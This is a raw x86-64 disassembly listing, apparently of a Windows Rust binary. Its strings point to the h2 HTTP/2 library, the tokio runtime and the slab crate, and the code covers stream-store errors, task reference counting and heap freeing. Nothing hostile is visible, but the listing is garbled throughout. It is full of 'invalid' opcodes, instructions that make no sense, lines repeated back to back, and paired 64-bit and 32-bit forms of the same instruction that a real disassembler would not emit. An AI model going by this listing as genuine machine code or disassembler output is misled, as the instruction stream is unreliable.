mov qword [rbx + 0x18], r11
mov qword [rbx + 0x20], r10
test r12b, r12b
jne 0x1400a8933
jmp 0x1400a8920
invalid
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
cmp qword [rbp], 0
je 0x1400a88de
add byte [rax - 0x75], cl
add byte [rax - 0x7d], cl
jge 0x1400a8795
add byte [rdi], cl
test byte [rdx + 1], al
add byte [rax], al
mov rcx, qword [rbp + 0x50]
cmp qword [rbp + 8], rcx
ja 0x1400a88e2
mov r8b, 1
mov dword [rsp + 0x48], 0xb
lea r13, [0x14013a998]
lea r9, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
or eax, 0x92be5
or eax, 0x92be5
mov r11d, 0x18
xor r10d, r10d
mov sil, 1
jmp 0x1400a8756
movups xmm0, xmmword [rsp + 0x338]
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rsp + 0x328]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [rsp + 0x2e8]
call 0x14f0a87fc
adc byte [rsp + 0x2f8], cl
call 0x14f0a87fc
adc byte [rsp + 0x2f8], cl
movups xmm2, xmmword [rsp + 0x308]
movups xmm3, xmmword [rsp + 0x318]
movaps xmmword [rsp + 0x2b0], xmm3
movaps xmmword [rsp + 0x2a0], xmm2
movaps xmmword [rsp + 0x290], xmm1
movaps xmmword [rsp + 0x280], xmm0
add byte [rdx], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x54], cl
and al, 8
add al, 0
add byte [rcx - 0x48], al
movabs al, byte [0xa6e8e9894c000000]
cmpsd dword [rsi], dword [rdi]
add eax, 0x8c8d4800
and al, 0xb0
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x80
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
add byte [rdx], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x54], cl
and al, 8
add al, 0
add byte [rcx - 0x48], al
movabs al, byte [0xa6e8e9894c000000]
cmpsd dword [rsi], dword [rdi]
add eax, 0x8c8d4800
and al, 0xb0
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x80
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
mov r9d, esi
call fcn.140023660
mov rax, qword [rsp + 0xb0]
movzx esi, byte [rsp + 0xb8]
movzx r8d, byte [rsp + 0xb9]
movzx edx, word [rsp + 0xba]
mov ecx, dword [rsp + 0xbc]
mov r13, qword [rsp + 0xc0]
mov r9, qword [rsp + 0xc8]
mov r11, qword [rsp + 0xd0]
mov r10, qword [rsp + 0xd8]
cmp rax, 3
jne 0x1400a8973
mov byte [rsp + 0x43], r8b
mov dword [rsp + 0x48], ecx
cmp sil, 3
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
jne 0x1400a870f
jmp 0x1400a8d1c
mov rcx, qword [rbp + 0x50]
lea r9, [r15 + 8]
inc rcx
mov qword [rbp + 0x50], rcx
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r14
mov edx, r13d
call fcn.14008bce0
mov dword [rbx + 4], 0
mov byte [rbx], 3
test r12b, r12b
jne 0x1400a8933
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a8c95
xor eax, eax
xchg byte [r15], al
cmp al, 2
mov esi, dword [rsp + 0x4c]
jne 0x1400a8949
cmp esi, 0x3b9aca00
setne r8b
mov rcx, rbp
mov rdx, r14
call fcn.14001fde0
nop
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov word [rsp + 0x44], dx
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x94], ecx
lea rcx, [rsp + 0x1d0]
mov byte [rsp + 0x47], r8b
mov r8d, 0xb0
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x98], rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + 0x1a8], sil
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x1a9], al
movzx eax, word [rsp + 0x44]
mov word [rsp + 0x1aa], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1ac], eax
mov qword [rsp + 0x1b0], r13
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1b8], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x1a0], rax
movabs al, byte [0x720505100f000001]
or dword [rax], eax
movabs al, byte [0x720505100f000001]
or dword [rax], eax
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [0x14013fc20]
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0xb0]
call fcn.140022f90
mov r13, rax
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x1400a8a82
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x1400a8ae4
mov rax, qword [r13 + 0x10]
cmp rax, 0x13
ja 0x1400a8bb0
test rax, rax
je 0x1400a8ae4
mov rcx, qword [r13 + 8]
xor edx, edx
xor r8d, r8d
nop word cs:[rax + rax]
movzx r9d, byte [rcx + rdx]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x1400a8bb0
int3
movzx eax, byte [rsp + 0x258]
and al, 0xb
cmp al, 1
jne 0x1400a8bb0
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
cmp dword [rsi + 0x10], edi
cmp dword [rsi + 0x10], edi
jbe 0x1400a8e22
mov r13, qword [r14 + 8]
cmp dword [r13 + rbp], 2
je 0x1400a8e22
add eax, 0x84c74800
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0x4c207e8b4c000000]
add byte [rax], al
mov r15, qword [rsi + 0x20]
lea r8, [rsp + 0xb0]
add byte [rax], al
mov r15, qword [rsi + 0x20]
lea r8, [rsp + 0xb0]
mov rcx, rsi
mov rdx, r15
call fcn.1400234f0
cmp qword [r13 + 0x18], 0
je 0x1400a8cac
invalid
add byte [rcx - 0x75], cl
sub byte [r8 + 0x3b], r9b
adc byte [rdi], r9b
and edi, 2
add al, byte [rax]
invalid
mov rax, qword [r13 + 0x28]
cmp rax, qword [rsi + 0x10]
jae 0x1400a8e6f
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0x69], cl
sal al, 0
imul rax, rax, 0xf0
imul eax, eax, 0xf0
add byte [rax], al
add rax, qword [rsi + 8]
cmp dword [rax], 2
je 0x1400a8e6f
invalid
add byte [rcx - 0x7d], cl
invalid
add r13, 0x28
add ebp, 0x28
mov qword [rax], 1
mov dword [rax], 1
mov qword [rax + 8], r15
jmp 0x1400a8cbc
invalid
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add al, ch
adc ebx, dword [rdi - 0x42be000b]
cmc
inc dword [rcx - 0x43]
lea rcx, [rsp + 0x1a0]
lea ecx, [rsp + 0x1a0]
call fcn.140002ad0
mov r13d, 1
cmc
inc dword [rcx - 0x43]
add dword [rax], eax
add byte [rax], al
xor esi, esi
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
movzx edx, word [rsp + 0x44]
mov r9, qword [rsp + 0x68]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x58]
pop rax
pop rax
jmp 0x1400a870f
mov rcx, r15
mov word [rsp + 0x44], dx
mov r12, r9
mov qword [rsp + 0x60], r10
mov rdi, r11
call fcn.14010c7c0
add byte [rcx - 0x77], cl
sti
add byte [rcx - 0x77], cl
sti
mov ebx, edi
mov r10, qword [rsp + 0x60]
mov r9, r12
movzx edx, word [rsp + 0x44]
jmp 0x1400a8728
jmp 0x1400a8728
adc edi, ebx
invalid
mov byte [rsp + 0x43], r8b
mov r12d, edx
mov esp, edx
mov r12d, edx
mov esp, edx
mov qword [rsp + 0x68], r9
mov rdi, r10
mov edi, edx
mov edi, edx
mov qword [rsp + 0x58], r11
pop rsp
and al, 0x58
pop rax
pop rax
call fcn.14010c880
mov r11, qword [rsp + 0x58]
pop rax
pop rax
mov r10, rdi
mov r9, qword [rsp + 0x68]
mov edx, r12d
movzx r8d, byte [rsp + 0x43]
mov r12d, eax
xor r12b, 1
hlt
add dword [rcx + 0xf], eax
mov dh, 0x47
add dword [rax + rax*8 - 0x5077bf1], eax
invalid
invalid
hlt
mov qword [rsp + 0x2e8], r15
mov byte [rsp + 0x2f0], r12b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
mov dword [rsp + 0x20], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
or dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
xchg ebp, eax
or dword cs:[rax], eax
or dword [rax], eax
or dword [rax], eax
lea r8, [rsp + 0x2e8]
mov edx, 0x2b
invalid
call 0xfa0a8c8e
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
call fcn.1401049b0
call fcn.14010c880
cmp eax, dword [rsi]
add byte [rax + rax*8 - 0x36e7af1], al
ror byte [rdi], 0x85
xchg ecx, eax
cld
invalid
invalid
sbb edi, dword [rbp - 0x1917fffb]
cmp eax, dword [rsi]
add byte [rax + rax*8 - 0x36e7af1], al
ror byte [rdi], 0x85
xchg ecx, eax
cld
ror byte [rdi], 0x85
xchg ecx, eax
cld
invalid
mov byte [r15 + 1], 1
jmp 0x1400a8933
mov qword [r13 + 0x18], 1
mov qword [r13 + 0x20], r15
sbb byte [rcx], al
add byte [rax], al
add byte [rbp - 0x77], cl
jge 0x1400a8cd8
add r13, 0x28
mov qword [r13], r15
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
jbe 0x1400a8e22
mov rax, qword [r14 + 8]
cmp dword [rax + rbp], 2
je 0x1400a8e22
cmp al, 0x28
add cl, byte [rdi]
test byte [rcx + 1], al
add byte [rax], al
add rax, rbp
cmp dword [rax + 0x114], r12d
adc al, 1
add byte [rax], al
invalid
adc al, 1
add byte [rax], al
invalid
add byte [rdi], cl
test dword [rcx], esi
add dword [rax], eax
add byte [rax - 0x75], cl
mov rdx, qword [rax + 0xa8]
jne 0x1400a8e22
mov rdx, qword [rax + 0xa8]
add byte [rax - 0x75], cl
mov byte [rax + 0x48000000], dh
mov dword [rax + 0xa8], 0
add byte [rax], al
invalid
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], cl
add edi, edi
push rdx
or byte [rbx + rcx*4 + 0x74], cl
and al, 0x78
test rdx, rdx
je 0x1400a8d12
invalid
call qword [rdx + 8]
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov dword [rbx + 4], 1
add byte [rax], al
mov dword [rbx + 8], edi
mov dword [rbx + 0xc], r12d
mov byte [rbx], 3
invalid
mov esi, dword [rsp + 0x4c]
and al, 0x4c
add ecx, dword [rbx - 0x16b3db8c]
adc edi, esp
invalid
and al, 0x4c
jmp 0x1400a8949
lea rax, [rsp + 0x1a4]
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff72463
add byte [rax], al
mov qword [rsp + 0xb0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0xb8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 1
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x2e8]
call fcn.140104620
lea rax, [rsp + 0x84]
mov qword [rsp + 0x1a0], rax
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff723ed
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff723ed
movabs al, byte [0x23ed058d48000001]
idiv edi
mov qword [rsp + 0x1a8], rax
lea rax, str.dangling_store_key_for_stream_id
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
mov dword [rsp + 0xb8], 1
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xb0]
add al, ch
invalid
mov bh, 5
invalid
lea rax, [rsp + 0x54]
mov qword [rsp + 0x80], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x88], rax
lea rax, str.dangling_store_key_for_stream_id
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7c713
mov qword [rsp + 0xb0], rax
test byte [rax + rsi*4], ah
and al, 0xb0
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
add byte [rax], al
add bl, ch
mov ecx, dword [rax - 0x73]
or eax, 0x932ca
mov qword [rsp + 0xb8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xd0], 0
lea rax, [rsp + 0x80]
jmp 0x1400a8dfa
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104d10
add ah, cl
add ah, cl
int3
int3
int3
add byte [rdi], cl
sub dword [rsp + 0xfe0], esi
and al, 0xe0
sldt word [rax]
mov rsi, rcx
invalid
mov rax, qword [rcx]
jmp 0x1400a8eea
invalid
invalid
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
clc
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
clc
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400a8f15
test al, 4
add al, 0xf
je 0x1400a9154
test byte [rdx + 2], ah
add byte [rax], al
test al, 3
je 0x1400a8ed0
cmp eax, 0x3f
jbe 0x1400a916c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
invalid
add dh, al
cmpxchg qword [rsi], rcx
invalid
invalid
jne 0x1400a8eea
movzx eax, dl
lea rcx, [0x140174ac4]
movsd dword [rdi], dword [rsi]
invalid
or al, 0
ret 0x8d48
movsd dword [rdi], dword [rsi]
mov ebx, 0x6348000c
or al, 0
movsxd rax, dword [rcx + rax*4]
or al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x1400a8f71
lea rax, [0x14014ae78]
lea eax, [0x14014ae78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rsi
je 0x1400a8f5c
invalid
sub byte [rax - 0x77], cl
je 0x1400a8f5c
xor byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
cmp dword [rsi + 0x30], 3
jle case.0x140096763.86
invalid
cmp dword [rsi + 0x30], 3
jle case.0x140096763.86
add ecx, dword [rdi]
xor dword [rdx], 2
add byte [rax], al
jae 0x1400a9184
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
sub byte [rbx + 0xd435405], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
push rsp
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x1400978a6.68
add dword [rax], eax
add byte [rbx + 0x3e7401f8], al
xorps xmm6, xmm6
test eax, eax
invalid
jne case.0x14009a63c.57
test byte [rbp - 0x749c8a40], 5
or eax, 0x8b486500
or eax, 0x8b486500
sal byte [rbp + 0x63], 0x8b
add eax, 0xd432e
invalid
invalid
invalid
mov eax, dword [0x14017d2b4]
or eax, 0x8b486500
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
mov r14, qword [rdx + rax*8]
ret 0x8d49
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
lea edx, [0x1400e46c0]
invalid
mov rbx, rcx
mov rcx, rax
retf
call fcn.1400d3ad0
mov rcx, rbx
mov ecx, ebx
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
ret 0x100f
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
clc
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x38]
lea rdx, [rsp + 0x38]
call fcn.140097870
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x1400a9041
test ecx, ecx
jne case.0x14009f75c.30
mov ecx, dword [0x14017d2b4]
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
add al, byte [rax]
mov eax, ebx
mov byte [rdi + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
jle 0x1400a907f
test al, al
je 0x1400a90fa
mov rcx, rsi
call fcn.1400e7430
add eax, dword [rax]
add eax, dword [rax]
movzx eax, al
lea rcx, [0x140174ad4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400a91bc
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400a9080.0
mov rcx, rsi
call case.0x140069415.282
jmp case.0x1400a9080.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x48], 4
lea rdx, [rsp + 0x48]
and al, 0x48
and al, 0x48
mov rcx, rdi
call case.0x140071b87.234
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x68], rax
jmp 0x1400a9121
mov qword [rsp + 0x48], 4
lea rdx, [rsp + 0x48]
mov rcx, rdi
call case.0x140071b87.234
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 3
lea rdx, [rsp + 0x48]
mov rcx, rdi
call case.0x140071b87.234
mov rcx, rsi
call 0x1400a9720
movaps xmm6, xmmword [rsp + 0xfe0]
add rsp, 0xff8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
add byte [rax - 0x75], cl
add dword [rdi], ecx
invalid
mov rdx, rax
xor r8d, r8d
test dl, 3
sete r8b
ror byte [rcx + 9], 0xc0
ror byte [rcx + 9], 0xc0
or r8, 0x20
lock cmpxchg qword [rcx], r8
jne 0x1400a93e0
test dl, 3
je 0x1400a942e
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400a9498
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400a948d
lea rsi, [rcx + 0x20]
mov qword [rsp + 0x20], 4
lea rdx, [rsp + 0x20]
mov rdi, rcx
mov rcx, rsi
call case.0x140071b87.234
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 0
add byte [rax - 0x77], cl
and al, 0x40
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x20], 3
lea rdx, [rsp + 0x20]
mov rcx, rsi
call case.0x140071b87.234
add al, 1
add byte [rax], al
add al, 1
add byte [rax], al
mov rcx, rdi
add rsp, 0xfb8
pop rdi
pop rsi
jmp 0x1400a9720
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a94dd
xor byte [rax - 0x73], cl
push rcx
std
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400a9509
test rax, rax
jne 0x1400a9546
lea rcx, [rsi + 0x30]
call fcn.14007ba60
jmp 0x1400a9546
cmp qword [rsi + 0x38], 0
je 0x1400a9546
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400a9546
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a9546
cmp qword [rbx + 0x10], 0x11
jb 0x1400a9534
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
or eax, 0xd3ccd
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xfd8]
sldt word [rax]
test rax, rax
je 0x1400a955c
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
or eax, 0xd3ca1
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x20
and byte [rbx + 0x5f], bl
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
pop rsi
invalid
invalid
pop rsi
invalid
add ah, cl
int3
int3
cmp byte [rdi], cl
sub dword [rsp + 0x20], esi
or byte [rbx + 0xd3d1905], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and byte [rax], 1
add byte [rax], al
mov rdx, qword [0x58]
in al, 0xb0
add eax, dword [rax]
mov ecx, ebx
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov esp, 0x65000d3c
mov rdx, qword [0x58]
and eax, 0x58
and eax, 0x58
add byte [rax - 0x75], cl
add al, 0xc2
mov eax, dword [rdx + rax*8]
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
clc
add dword [rdi + rcx + 0x48], esi
test eax, eax
and al, 0xfd
invalid
invalid
sub byte [rax - 0x77], cl
fld dword [rcx - 1]
invalid
cmp dword [rsi + 8], 0
or byte [rax], al
je 0x1400a968b
cmp qword [r14 + 0x10], 0x11
jb 0x1400a9679
invalid
jle 0x1400a9682
adc dword [rdx + 4], esi
add al, 0x48
mov ebx, dword [rbx - 8]
clc
mov rbx, qword [rbx - 8]
clc
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
pop rbp
invalid
invalid
adc eax, 0x65d75
pop rbp
invalid
pop rcx
cdq
add eax, 0x12058b00
cmp al, 0xd
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add eax, 0xd3bef
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
jmp 0x1400a9686
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
je case.0x140073b82.228
and byte [rax - 0x7d], cl
invalid
add esp, 0x38
int3
push rsi
sub rsp, 0xff0
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
jne 0x1400a9730
test al, 1
je 0x1400a97d9
test al, 2
jne 0x1400a97f1
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x58
call case.0x140071b87.234
jmp 0x1400a9789
adc byte [rdx + rbx + 0x48], dh
mov eax, dword [rsi + 0xfd8]
test rax, rax
je 0x1400a9875
mov rcx, qword [rsi + 0xfe0]
mov ecx, dword [rsi + 0xfe0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
add dword [rax + 2], edi
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x28], rax
and al, 0x28
shl eax, 6
loopne 0x1400a97b0
loopne 0x1400a97b0
neg rax
lock xadd qword [rsi], rax
shr rax, 6
invalid
invalid
rol dword [rsi], 0x48
shr eax, 6
invalid
invalid
cmp rax, qword [rsp + 0x28]
jb 0x1400a9809
jne 0x1400a97cf
mov rcx, rsi
add rsp, 0xff0
pop rsi
jmp case.0x140069415.282
cld
invalid
invalid
cld
invalid
nop
add rsp, 0xff0
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
add eax, 0xa1399
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
adc ecx, dword [rdx]
add byte [rdx + 0x25], bh
call fcn.1401046f0
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
xor byte [rax - 0x77], cl
and al, 0x38
lea rax, [fcn.140012c90]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
sub byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ac08]
adc eax, 0xa139d
adc eax, 0xa139d
lea rcx, [rsp + 0x58]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
add dword [rax], eax
